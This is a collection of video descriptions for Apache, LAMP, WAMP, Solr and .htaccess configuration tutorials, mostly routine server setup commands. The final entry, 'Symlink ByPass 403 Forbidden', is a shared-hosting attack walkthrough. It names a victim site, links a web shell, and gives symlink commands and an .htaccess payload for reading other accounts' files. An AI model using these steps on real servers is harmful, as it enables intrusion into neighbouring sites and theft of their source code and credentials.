mysite.conf DocumentRoot /var/www/mysite # cd /var/www/ # sudo mkdir mysite # cd mysite # nano index.html Hello this is my first website in Apache #systemctl reload apache2 #sudo a2dissite 000-default #sudo a2ensite mysite #/etc/init.d/apache2 restart ----------------------------------------------- #cd /etc/apache2/ ports.conf (Ports on which Apache is running) pico apache2.conf (Main Configuration file) ---------------------------------------------------- To enable secure sites #systemctl reload apache2 #sudo a2enmod ssl #sudo a2ensite default-ssl #/etc/init.d/apache2 restart +-------------------------------------------------- To check which Webserver is running ifconfig check the IP open browser On windows and type http://(ip address)
Views: 462 Usman Asim
mod rewrite - How to enable mod_rewrite for Apache
mod rewrite - How to enable mod_rewrite for Apache. How To Set Up mod_rewrite for Apache on Ubuntu 14.04. How To Rewrite URLs with mod_rewrite for Apache on Ubuntu How to enable mod_rewrite on Apache =================================================== Run the commend. sudo a2enmod rewrite and restart the apache sudo service apache2 restart Edit file sudo nano /etc/apache2/sites-available/000-default.conf Search for “DocumentRoot /var/www/html” and add the following lines directly below: Directory "/var/www/html" AllowOverride All /Directory Save and exit the nano editor via CTRL-X, “y” and ENTER. Restart the server again: sudo service apache2 restart
Views: 582 thetraining help
Examples of .htaccess - web directory password protected
.htaccess: control directory access in Apache httpd.conf: global Example 1: password protection for directory Create encrypted password for user name jiansen for htpasswd -c /var/www/html/htaccess_test/.htpasswd jiansen File permission: chmod 644 /var/www/html/htaccess_test/.htpasswd Make sure it can be read by apache, but can not read by outside .htaccess: AuthType Basic AuthName "Restricted access" AuthUserFile "/var/www/html/htaccess_test/.htpasswd" Require valid-user Example 2, will not display .txt file Options +Indexes IndexIgnore *.txt More about this video: http://jiansenlu.blogspot.com/2014/10/some-examples-of-htaccess.html
Views: 2860 Jiansen Lu
Prevent Directory Browsing on Apache
This video discusses how you can prevent people from browsing through your directories on your web server if you are using Apache Code GIST: https://gist.github.com/prof3ssorSt3v3/2c30c5a6b1f99f9610f59e26efb61b4c
Views: 189 Steve Griffith
Apache Solr Tutorial 3: Indexing JSON Data
- To index a book with id book1: curl http://localhost:8983/solr/update -H 'Content-type:application/json' -d ' [ {"id" : "book1", "title" : "American Gods", "author" : "Neil Gaiman" } ]' - To display the book information using curl: curl http://localhost:8983/solr/get?id=book1 - To display the book information using url: http://localhost:8983/solr/get?id=book1 - Updating the book information: curl http://localhost:8983/solr/update -H 'Content-type:application/json' -d ' [ {"id" : "book1", "cat" : { "add" : "fantasy" }, "pubyear_i" : { "add" : 2001 }, "ISBN_s" : { "add" : "0-380-97365-0"} } ]' - To display the updated book information using curl again: curl http://localhost:8983/solr/get?id=book1
Views: 24660 Rushdi Shams
How To Install Linux, Apache, MySQL, PHP (LAMP) stack on Ubuntu 16.04 And Ubuntu 16.10
Introduction A "LAMP" stack is a group of open source software that is typically installed together to enable a server to host dynamic websites and web apps. This term is actually an acronym which represents the Linux operating system, with the Apache web server. The site data is stored in a MySQL database, and dynamic content is processed by PHP. In this guide, we'll get a LAMP stack installed on an Ubuntu 16.04 Droplet. Ubuntu will fulfill our first requirement: a Linux operating system. Step 1: Install Apache and Allow in Firewall #sudo apt-get update #sudo apt-get install apache2 Set Global ServerName to Suppress Syntax Warnings Next, we will add a single line to the /etc/apache2/apache2.conf file to suppress a warning message. While harmless, if you do not set ServerName globally, you will receive the following warning when checking your Apache configuration for syntax errors: Open up the main configuration file with your text edit: #sudo nano /etc/apache2/apache2.conf Adjust the Firewall to Allow Web Traffic Next, assuming that you have followed the initial server setup instructions to enable the UFW firewall, make sure that your firewall allows HTTP and HTTPS traffic. You can make sure that UFW has an application profile for Apache like so: #sudo ufw app list If you look at the Apache Full profile, it should show that it enables traffic to ports 80 and 443: #sudo ufw app info "Apache Full" Step 2: Install MySQL Now that we have our web server up and running, it is time to install MySQL. MySQL is a database management system. Basically, it will organize and provide access to databases where our site can store information. #sudo apt-get install mysql-server When the installation is complete, we want to run a simple security script that will remove some dangerous defaults and lock down access to our database system a little bit. Start the interactive script by running: Warning: Enabling this feature is something of a judgment call. If enabled, passwords which don't match the specified criteria will be rejected by MySQL with an error. This will cause issues if you use a weak password in conjunction with software which automatically configures MySQL user credentials, such as the Ubuntu packages for phpMyAdmin. It is safe to leave validation disabled, but you should always use strong, unique passwords for database credentials. #sudo mysql_secure_installation Step 3: Install PHP PHP is the component of our setup that will process code to display dynamic content. It can run scripts, connect to our MySQL databases to get information, and hand the processed content over to our web server to display. #sudo apt-get install php libapache2-mod-php php-mcrypt php-mysql This should install PHP without any problems. We'll test this in a moment. In most cases, we'll want to modify the way that Apache serves files when a directory is requested. Currently, if a user requests a directory from the server, Apache will first look for a file called index.html. We want to tell our web server to prefer PHP files, so we'll make Apache look for an index.php file first. To do this, type this command to open the dir.conf file in a text editor with root privileges: #sudo nano /etc/apache2/mods-enabled/dir.conf After this, we need to restart the Apache web server in order for our changes to be recognized. You can do this by typing this: #systemctl restart apache2 Install PHP Modules To enhance the functionality of PHP, we can optionally install some additional modules. To see the available options for PHP modules and libraries, you can pipe the results of apt-cache search into less, a pager which lets you scroll through the output of other commands: #apt-cache search php- | less Use the arrow keys to scroll up and down, and q to quit. For example, to find out what the php-cli module does, we could type this: apt-cache show php-cli If, after researching, you decide you would like to install a package, you can do so by using the apt-get install command like we have been doing for our other software. If we decided that php-cli is something that we need, we could type: # sudo apt-get install php-cli Step 4: Test PHP Processing on your Web Server n order to test that our system is configured properly for PHP, we can create a very basic PHP script. We will call this script info.php. In order for Apache to find the file and serve it correctly, it must be saved to a very specific directory, which is called the "web root". In Ubuntu 14.04, this directory is located at /var/www/html/. We can create the file at that location by typing: sudo nano /var/www/html/info.php This will open a blank file. We want to put the following text, which is valid PHP code, inside the file:
Using WAMP server to run cgi python , cgi-bin , PHP , apache , scripts
Check my updated video on this. How to set up wamp to use Python CGI programming and php on your own computer. SQL works also. Only tested on windows.All programs can be run through localhost in browser and files stored in www directory in wamp. Wamp Version 2.4 Python.3.5.0 Link to Python https://www.python.org/downloads/release/python-350/ Link to Wamp http://sourceforge.net/projects/wampserver/files/WampServer%202/Wampserver%202.4/ Has to be Python 3.5.0 and wamp 2.4 to work !!! add these lines to httpd.conf after directory "c like the video. ------------------------------------------------------------------- AddHandler cgi-script .cgi .py Options Indexes FollowSymLinks ExecCGI -------------------------------------------------------------------- Make sure to save Python as C:\Python35 using custom installation.First line of your program must direct to where python.exe is installed.You must use parenthesis with print. Link to My httpd.conf file and test programs https://www.dropbox.com/s/5nyqzdnyjznqo3k/hello.php?dl=0 https://www.dropbox.com/s/xhmh2mwhdrje904/httpd.conf?dl=0 https://www.dropbox.com/s/8kns13x4326kmxl/new.py?dl=0
Views: 16199 Jason Cheung
Solr Schema - Configure and Post Files to an Apache Solr Core
Configure an Apache Solr core schema in schema.xml or managed-schema in the Solr Admin UI and Solr Schema API curl tool, post a file to a Solr core for the films dataset and do a Solr search. Here we are working in standalone mode and modifying a schemaless configuration file. Find all of the code examples for this video here: https://factorpad.com/tech/solr/tutorial/solr-schema.html Find the outline to the Tutorial Series here: https://factorpad.com/tech/solr/tutorial/solr-tutorial.html Happy Searching! https://factorpad.com
Views: 8326 FactorPad
Building a NAS Episode 4 - Create a personal cloud
In this episode we turn our nas into a "cloud" using Owncloud, the personal cloud server software. With this software we can automatically sync files between Windows, Linux, Mac, and phones. Owncloud: http://owncloud.org If you like what you see, please like, subscribe, ring the bell, and share this video! Please follow us on Twitter: @SetUsUpChannel Or on Facebook at http://www.facebook.com/setusupchannel Commands used in this video: Prerequisite software installs: sudo yum -y update sudo yum -y install wget unzip mariadb-server yum-utils To install php 7.2: sudo rpm -Uvh https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm sudo rpm -Uvh http://rpms.remirepo.net/enterprise/remi-release-7.rpm sudo yum-config-manager --enable remi-php72 sudo yum install php php-mysqlnd php-pecl-zip php-xml php-mbstring php-gd php-mcrypt php-pear php-pspell php-pdo php-xml php-intl php-zip php-zlib sudo sed -i "s/post_max_size = 8M/post_max_size = 256M/" /etc/php.ini sudo sed -i "s/upload_max_filesize = 2M/upload_max_filesize = 256M/" /etc/php.ini To create the MySQL database: mysql -u root -p CREATE DATABASE ownclouddb; GRANT ALL PRIVILEGES ON ownclouddb.* TO 'ownclouduser'@'localhost' IDENTIFIED BY 'Y0ur-pa55w0rD' WITH GRANT OPTION; FLUSH PRIVILEGES; quit To setup the virtual directory in apache (owncloud.conf) (NOTE: there open and close angle brackets around the two Directory lines, but I can't put them in these notes.) Directory "/var/www/html/owncloud/" DirectoryIndex index.html index.php Options FollowSymLinks AllowOverride All Require all granted /Directory
Views: 32 SetUsUp
Instalar LAMP en Slackware 14.2 - Parte I: Apache.
Buenas noches vengo de nuevo pero ahora con un tutorial de como instalar LAMP en nuestro slackware 14.2. Explicaré el paso a paso de la instalación y configuración básica de LAMP en nuestra distribución. Comencemos! ¿Qué es LAMP? LAMP es el acrónimo usado para describir un sistema de infraestructura de internet que usa las siguientes herramientas: Linux, el sistema operativo; En algunos casos también se refiere a LDAP. Apache, el servidor web; MySQL/MariaDB, el gestor de bases de datos; Perl, PHP, o Python, los lenguajes de programación. La combinación de estas tecnologías es usada principalmente para definir la infraestructura de un servidor web, utilizando un paradigma de programación para el desarrollo. Fragmento extraído de Wiki: https://es.wikipedia.org/wiki/LAMP ¿Qué necesitamos? Para comenzar vamos a tener que tener listos los paquetes para instalar .tgz que serían los siguientes: Apache MySQL (mariadb) PHP A éstos lo que haremos tan simple como usar la herramienta slackpkg de ésta manera: slackpkg install httpd 1 - La ubicación del archivo de configuración del servidor Apache se encuentra en: /etc/httpd/. Con el nombre de httpd.conf. - Podemos utilizar el editor de texto favorito (en mi caso como siempre trabajo desde la tty, usaré nano). Recuerden que todo ésto lo haremos como root. # nano /etc/httpd/httpd.conf - Aquí nos encontraremos con toda la configuración principal de nuestro servidor Apache y veremos secciones como éstas: Directory / Options FollowSymLinks AllowOverride None Order deny,allow Deny from all /Directory y también Directory "/srv/httpd/htdocs" Options Indexes FollowSymLinks AllowOverride None Order allow,deny Allow from all - Bueno en el caso que hayamos realizado algún cambio en ésta configuración (default) lo que ahremos será guardar los cambios y salir para ejecutar la siguiente orden: # apachectl -t Si todo salió bién tendremos un mensaje parecido a: Syntax OK. - Para iniciar nuestro server lo que ejecutaremos será lo siguiente: - Primero le damos los permisos: # chmod 0744 /etc/rc.d/rc.httpd - Luego será iniciar el server: # /etc/rc.d/rc.httpd start - Si queremos también editamos el index.html, lo editamos con nano en la ruta: /srv/httpd/htdocs/ # nano /srv/httpd/htdocs/index.html Guardamos los cambios y salimos. - Listo, cruzamos los dedos para que no salga ningún mensaje de error y terminamos, tenemos nuestro servidor Apache iniciado y corriendo. Podemos comprobar que funciona correctamente ingresando a nuestro localhost o nuestra IP privada con un navegador links http://localhost o Nota: Próximamente continuaremos con las partes correspondientes a mariadb y php. ▶ Si se quieren unir a nuestro grupo de LinuxerOS en Telegram lo pueden hacer también: http://adf.ly/1clSoM ▶ Si sos fan de Archlinux entrá en el grupo de Telegram: http://adf.ly/1clT22 ▶ Si sos del mundo Gentoo en Telegram: http://adf.ly/1cxFeu ▶ Tienen otros tutoriales y demás info en mi blog de LinuxForAllSite: http://adf.ly/1gpiOj ▶ Mi canal: http://adf.ly/1clT7Y ▶ Recuerden darle like y suscribirse a mi canal ▶ Compartan el material en las redes sociales así sigo creciendo! Abrazo de gol!
Views: 418 ice
How do I configure apache to run Perl CGI scripts
Apache Tutorial Dynamic Content with CGI Enable CGI executing and use perl script edit the /etc/httpd/conf/httpd.conf Options FollowSymLinks ExecCGI DirectoryIndex index.html index.cgi AddHandler cgi-script .cgi .pl # /etc//init.d/httpd restart Stopping httpd: [ OK ] Starting httpd:
Views: 6943 Zariga Tongy
Codeigniter - error when Redirect URL(Not Found) in Ubuntu 16.04
when i trying to redirect('test') .. that doesn't work .. and getting error 'Not Found'. The problem caused by : 1) mod_rewrite not enable 2) no script 'AllowOverride All' in apache2.conf
Views: 27940 Ambar Hasbiyatmoko
Disable Directory Browsing ( Directory Listing ) On Apache Web Server On Ubuntu 18 04
in This Tutorial you will learn "How To Disable Directory Browsing ( Directory Listing ) On Apache Web Server On Ubuntu 18.04 " Apache2 is the most popular webservers in used today. Majority of the websites and web apps that are in operation are most likely running Apache2 web server. By default directory listing is enabled in the Apache server. Directory listing displays all of the directory with all the files from the Apache server. If this is enabled, an attacker can easily view any file, analyse it and obtain sensitive information about an application.
Wamp Server Error : Forbidden You don't have permission to access /phpmyadmin/ on this server
In this video I am going to show How to solve Forbidden Wamp Server Error which says You don't have permission to access /phpmyadmin/ on this server. or Forbidden :You don't have permission to access. the solution -of WAMP phpmyadmin 403 forbidden error "Forbidden You don't have permission to access /phpmyadmin/ on this server is easy. on Windows 10 or Windows 8. WAMP is a Windows OS based program that installs and configures Apache web server, MySQL database server, PHP scripting language, phpMyAdmin (to manage MySQL database’s). WAMP stands for Windows, Apache, MySQL, PHP. wampserver installer can be easily downloaded from its website on windows . We can Download WAMP server exe from http://www.wampserver.com/en/ or directly from Sourceforge. In addition I will also cover how to solve client denied by server configuration: /usr/share/phpmyadmin, you don't have permission to access /phpmyadmin/ on this server. wamp directory index forbidden by options directive: /usr/share/phpmyadmin/ phpmyadmin.conf location -------------------Online Courses to learn---------------------------- Java - https://bit.ly/2H6wqXk C++ - https://bit.ly/2q8VWl1 AngularJS - https://bit.ly/2qebsLu Python - https://bit.ly/2Eq0VSt C- https://bit.ly/2HfZ6L8 Android - https://bit.ly/2qaRSAS Linux - https://bit.ly/2IwOuqz AWS Certified Solutions Architect - https://bit.ly/2JrGoAF Modern React with Redux - https://bit.ly/2H6wDtA MySQL - https://bit.ly/2qcF63Z ----------------------Follow--------------------------------------------- My Website - http://www.codebind.com My Blog - https://goo.gl/Nd2pFn My Facebook Page - https://goo.gl/eLp2cQ Google+ - https://goo.gl/lvC5FX Twitter - https://twitter.com/ProgrammingKnow Pinterest - https://goo.gl/kCInUp Text Case Converter - https://goo.gl/pVpcwL -------------------------Stuff I use to make videos ------------------- Stuff I use to make videos Windows notebook – http://amzn.to/2zcXPyF Apple MacBook Pro – http://amzn.to/2BTJBZ7 Ubuntu notebook - https://amzn.to/2GE4giY Desktop - http://amzn.to/2zct252 Microphone – http://amzn.to/2zcYbW1 notebook mouse – http://amzn.to/2BVs4Q3 ------------------Facebook Links ---------------------------------------- http://fb.me/ProgrammingKnowledgeLearning/ http://fb.me/AndroidTutorialsForBeginners http://fb.me/Programmingknowledge http://fb.me/CppProgrammingLanguage http://fb.me/JavaTutorialsAndCode http://fb.me/SQLiteTutorial http://fb.me/UbuntuLinuxTutorials http://fb.me/EasyOnlineConverter
Views: 11592 ProgrammingKnowledge
WAMP alias directory/ Prepros page update/ (Hello World webpage tutorial)
Create an HTML document and dynamically update it using a WAMP server and Prepros. Also, creating an alias directory in a WAMP server. Direcions: This assumes that you have already installed WAMP and PrePros Step: Go to the folder where wamp is and search for the www directory. usually, if you have not changed the directory location upon install, it will be here... c:/wamp/www/ Step 2: In this directory, create a folder, or add a folder of you choice If you add a folder, make sure the file that you would like to launch is named index.php Step 3: If there is no file in the folder, create an index.php file. For tutorial purposes, write the code for Hello World in the video Step 4: Left click on the upward carrot ^ on the taskbar. Step 5: Left click on the wamp icon Step 6 Click on Apache, Alias directories, + Add an alias Step 7: Follow directions on the command screen Step 8: Open Prepros and drag in file. Step 9: Click More Options, Project Options Step 10: Click the "Live Preview Custom Server" box Step 11: Type in the server url into the box that pops up. This url was created in Step 7. For example, for the example above, it is http://localhost/testone Step 12: Click "Save Options" Step 13: Click on "Live Preview", Open Live Preview Hello World should appear in the browser. Now, whenever you edit the page and save it, the browser will automatically be updated.
Views: 3654 techy techee
Webmin- Configuring Apache Web Server
This video covers how to edit the configuration file within Apache, how to add virtual hosts to Apache, and how to add users to the Linux server.
Views: 16611 Christopher Pace
How to Edit Your .Htaccess file
Learn how to edit your .htaccess file by using the cPanel File Manager or an FTP client. The .htaccess file is a hidden file that is used by the hosting server for several purposes: Examples include Redirects Security Website configuration The file is detected and processed by the Apache server How do you find the .htaccess file? The .htaccess file is generally in the root of the folder where you're saving your website files. Note that there can be multiple .htaccess files. They can exist in folders that are part of your website files. Make sure to select the correct file to edit. In this tutorial we are going to show you how to navigate to the file and then open it using either the cPanel File Manager or an FTP client. NOTE: As with any change, make sure to back up your files BEFORE you make any changes. Using the cPanel File Manager First login to the cPanel Go to the File Manager. Make sure to double-check the settings so that you can see hidden files Go to the relevant .htaccess file. Select the file Use the edit options within File Manager Make sure to save your changes. Using an FTP client Login to the account Find the .htaccess file Download it and then edit the file with a text editor. Save your changes. Apply the changes to your website by uploading the file back into the location where you downloaded it. Make sure you overwrite the file. InMotion Hosting was founded in 2001 and provides personal and business web hosting for everyone! For more information about InMotion Hosting and the services we provide see here: http://www.inmotionhosting.com
Views: 12221 InMotion Hosting
Apache Solr Tutorial - Create, Rename and Delete Core in Solr - Part 1
In this the first part of video tutorial, I will show you how you can create new core i.e. a single index, rename and delete existing core using Solr script file which you can find inside /your_installation_directory/solr/bin directory as well as using solr admin UI interface. Part 2 of this Video: https://www.youtube.com/watch?v=jNzcnQMsyK8
Views: 3670 KnowledgeThirst
Change default config for apache
Change apache default config to obstacle permission issue ## Enable permalink Wordpress have pretty permalink features. default it's disabled. ``` a2enmod rewrite sudo gedit /etc/apache2/apache2.conf ``` And change `AllowOverride None` to `AllowOverride All` Then Run `service apache2 restart`
Views: 671 Prosenjit Manna
How to block access from a referrer using htaccess - OzeVision Web Hosting Tutorial
http://www.OzeVisionWebHosting.com - This web hosting tutorial shows you how to block access from a referrer using htaccess using our advanced Hepsia web hosting control panel. This video tutorial is also available inside the OzeVision Web Hosting control panel under Help/Video Tutorials. Our web servers are set to display at first a file called "index". For instance: index.html index.htm index.php index.pl This is the default server configuration, so whenever a visitor types your domain e.g. my_best_domain.com in a browser, the server would look for the index file located in your domain''s main folder and display it to the visitor. You can change the directory index file with a custom .htaccess file. Learn more on this topic here: Changing the directory index file But what if you don''t have an index file in a certain directory? It could be a problem if you have a web folder which doesn''t contain such a file or the default index page is not set. Imagine that you have a sub-directory inside the main directory of your domain: my-best-domain.com/directory There is no index file inside it, so whenever a visitor visits my_best_domain.com/directory, the directory content will be listed in the borwser. You can hide the directory content in order to avoid visitors seeing files that are not supposed to be displayed. There are several ways to hide the directory structure of your website: Option 1 You can simply create an emtpy index.html file and put it inside each folder that has no actual index file. This may be a time-consuming task, especially if you have many sub-folders. Option 2 Changing the directory permissions to 711. If you set the permissions of a certain folder to 711, this would effectively disable directory listing. You have to use an FTP client to set the permissions. Please refer to the following article, which explains how you can change permissions via FTP: How to change the permissions of a file or a folder Option 3 Use a custom .htaccess file to disable directory listing or exclude certain file types from the listing. Using an .htaccess file - a system configuration file, you can change the way the web server treats directories where an index file is missing. You are able to exclude certain or all files from the directory listing. What is great about this method is that rules in the .htaccess file work recursively, so they would be valid for all sub-directories. So, if you put the .htaccess file in the main domain folder, all the rules inside it will be valid for all the sub-directories. To use this method, first create an empty .htaccess file inside the directory in question - usually your domain''s main directory, via the File Manager - Site Management/File Manager - section of your Web Hosting Control Panel. Once you have created the empty .htaccess file, click on the ''Edit'' icon on its right and choose the plain text editor. Put the following code in the file and save it: IndexIgnore * The above rule excludes all files from the directory listing.
How to set up a Wordpress website with XAMPP on Windows 10
This video will show how to set up a local Wordpress website on Windows 10 using XAMPP. XAMPP is a free software that includes many important options for hosting a website, including Apache and MySQL (now MariaDB). It can be downloaded from: https://www.apachefriends.org/index.html After downloading, just run the installer and make sure to leave the Apache, MySQL, PHP, Perl, and phpmyadmin options selected, and then leave everything else as default. You may want to change the default installation path from C: xampp to something else, but it is suggested that you avoid installing to the program files folder to avoid UAC (User Account Control) triggers. Once it's installed, open the control panel and start the Apache and MySQL services. You can now see an active webserver at localhost, or the IP Address (local IP Address). Now you will need to download Wordpress itself. You can download a zip of the newest version at: http://www.wordpress.org Once it is downloaded, right click and extract all. Then copy the Wordpress folder, and paste into the XAMPP installation, in the htdocs folder. This folder is what is served up to the web browser. So by default it brings you to the dashboard folder. To access Wordpress after you paste it into the folder, in your web browser go to http://localhost/wordpress Feel free to change the name of the wordpress folder to access it at a different address. Now it will ask for a database, database username, and database password. This is something you will need to create in phpmyadmin. To do this, head to http://localhost/phpmyadmin Once here, click on the new option on the left to create a new database. Give it a relevant name, something different preferably than just wordpress. Then choose the Collation, which is utf8_general_ci After the database is created, click on it on the left and choose the privileges tab. Here you can create a user that has privileges to add data to the database, which is how Wordpress will access the database and store data. Again it is recommended to choose a relevant username here, and a strong password. The hostname should also be changed to localhost, as this is a local install. Then hit the go button at the bottom. If you get an error stating Show Plugins soname like '%_password_check%' then it's easy to fix. Just go to your xampp folder, and then the mysql folder inside. Here, right click and create a new folder, and name it lib. Then go in the newly created lib folder and create another folder, called plugin. You should now be able to create a new user just fine. Once the user is created, go to http://localhost/wordpress and input the new database you created, and the user info. The next information Wordpress will ask for is the site title, and a user to login to Wordpress. I would suggest something different than just administrator, and to use a strong password. At this point your wordpress installation is ready to use. Check out my facebook at: https://www.facebook.com/pages/All-How-2s/198429346974010 or my twitter: https://twitter.com/AllHow2s Or my website where I have a lot of other great tutorials (such as how to take a screenshot, or how to get the start button back on Windows 8): http://www.allhow2s.com
Views: 61406 howtwos101
How to install LAMP (Apache, Mysql, PHP, PhpMyAdmin) on Ubuntu, LinuxMint, ElementaryOS
How to install LAMP (Linux, Apache, MySQL, PHP/Perl/Python) on Ubuntu, LinuxMint, ElementaryOS: 1. Open terminal: Ctrl + Shift + T 2. Run this command: sudo apt-get install apache2 php5 libapache2-mod-php5 mysql-server-5.6 mysql-client-5.6 php5-curl php5-mcrypt php5-gd phpmyadmin 3. now, open browser and go to link http://localhost 4. Create info.php in /var/www with content ?php phpinfo(); Navigate browser to http://localhost/info.php 5. Config Apache - Change Document directory to /home/username/www: - mkdir /home/username/www - sudo gedit /etc/apache2/apache2.conf - change Directory /var/www to Directory /home/username/www - change AllowOverride None to AllowOverride All - open file /etc/apache2/sites-enabled/000-default.conf - change DocumentRoot /var/www to DocumentRoot /home/username/www - restart apache: sudo service apache2 restart - go to /home/username/www and create index.php with content: ?php phpinfo(); - navigate to http://localhost 6. Fix error on restart apache: AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using Set the 'ServerName' directive globally to suppress this message sudo gedit /etc/apache2/apache2.conf add this line to end of file: ServerName localhost restart apache → Done 7. Enable module mcrypt and rewrite sudo ln -s /etc/php5/conf.d/mcrypt.ini /etc/php5/mods-available sudo php5enmod mcrypt && sudo a2enmod rewrite
Views: 9130 Nho Huynh
Upload CSV data directly into your OpenSolr Index.
How to import data directly from a CSV file into your Opensolr Index.
Views: 470 Chip Ryan
Symlink ByPass 403 Forbidden
Shell:https://www.sendspace.com/file/r2gd6l //////////////////////////REVESE IP///////////////////////// http://www.yougetsignal.com/tools/web-sites-on-web-server/ ///////////////////////MY VICTIM///////////////////////////// http://www.vnnation.com/ //////////////////////GET PATH BY ERROR LOG //////////////////// tail -n 1000 /usr/local/apache/logs/error_log|grep 123456789 path is : /home/vnnation/public_html/ /////////////////////////SYM LINK THE TARGET /////////////////// ln -s /home/vnnation/public_html/index.htm index.txt - 403 forbidden ////////////// NOW BYPASS 403 forbidden ///////////////////////// 1. symlink / folder ln -s / r00t 2.upload .htaccess file Options all DirectoryIndex Sux.html AddType text/plain .php AddHandler server-parsed .php AddType text/plain .html AddHandler txt .html Require None Satisfy Any
Views: 1521 Office Seller